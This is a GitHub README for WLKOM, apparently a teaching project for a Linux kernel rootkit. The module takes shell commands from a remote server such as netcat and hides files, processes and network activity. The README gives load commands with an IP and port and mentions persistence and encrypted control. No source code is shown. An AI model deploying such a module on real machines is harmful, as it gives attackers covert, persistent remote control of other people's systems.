AstraaDev/wlkom
Folders and files
| Name | Name | Last commit date | ||
|---|---|---|---|---|
Repository files navigation
WLKOM : Wild Linux Kernel Object Module
Pedagogical project demonstrating remote control of a Linux kernel
module via command injection from a server. This project explores
kernel development concepts, including system call interception, stealth
(file/process/network), persistence mechanisms, and encrypted remote control.
Usage:
$ make
$ sudo insmod wlkom.ko ip=$IP port=$PORT
...
$ sudo rmmod wlkom
Default ip is `127.0.0.1` and default port is `4242`. You need a running
server (e.g., netcat) sending shell commands to receive execution results.
Full documentation, usage, and installation guides are available in the project Wiki:
https://github.com/AstraaDev/wlkom/wiki
For additional technical details, see:
* docs/ directory in this repository
* Linux kernel docs